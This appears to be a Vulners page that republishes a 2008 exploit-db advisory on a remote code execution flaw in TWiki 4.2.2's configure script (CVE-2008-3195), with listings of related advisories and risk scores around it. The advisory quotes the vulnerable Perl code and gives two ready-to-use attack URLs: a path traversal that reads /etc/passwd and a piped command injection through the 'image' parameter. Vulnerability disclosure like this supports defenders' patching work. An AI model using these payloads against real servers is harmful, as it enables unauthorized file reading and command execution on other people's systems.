Lucene search
+L

TWiki 4.2.2 - 'action' Remote Code Execution

🗓️ 21 Sep 2008 00:00:00Reported by webDEViLType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 85 Views

TWiki 4.2.2 'action' Remote Code Execution vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
TWiki <= 4.2.2 (action) Remote Code Execution Vulnerability
21 Sep 200800:00
zdt
freebsd
FreeBSD
twiki -- Arbitrary code execution in session files
5 Aug 200800:00
freebsd
circl
Circl
CVE-2008-3195
19 Aug 200800:00
circl
circl
Circl
CVE-2008-4112
19 Aug 200800:00
circl
cve
CVE
CVE-2008-3195
17 Sep 200818:06
cve
cve
CVE
CVE-2008-4112
16 Sep 200823:00
cve
cvelist
Cvelist
CVE-2008-3195
17 Sep 200818:06
cvelist
cvelist
Cvelist
CVE-2008-4112
16 Sep 200823:00
cvelist
debian
Debian
[SECURITY] [DSA 1639-1] New twiki packages execution of arbitrary code
19 Sep 200819:25
debian
nessus
Tenable Nessus
Debian DSA-1639-1 : twiki - command execution
22 Sep 200800:00
nessus
Rows per page
#-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------#
#-----------TWiki Remote Code Execution <= 4.2.2--------------------#

# ----------developers site: http://www.twiki.org-------------------#
# ----------CVE Id(s)      : CVE-2008-3195--------------------------#

# http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights

The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion.

According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;)

Vulnerable code:

if( $action eq 'image' ) {
    # SMELL: this call is correct, but causes a perl error

    # on some versions of CGI.pm
    # print $query->header(-type => $query->param('type'));
    # So use this instead:
    print 'Content-type: '.$query->param('type')."\n\n";

    if( open(F, 'logos/'.$query->param('image' ))) {
        local $/ = undef;
        print <F>;
        close(F);
    }

http://localhost/twiki/bin/configure?action=image;image=../../../../../../../etc/passwd;type=text/plain

http://localhost/twiki/bin/configure?action=image;image=|uname -a|;type=text/plain

# milw0rm.com [2008-09-21]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Sep 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.0828
85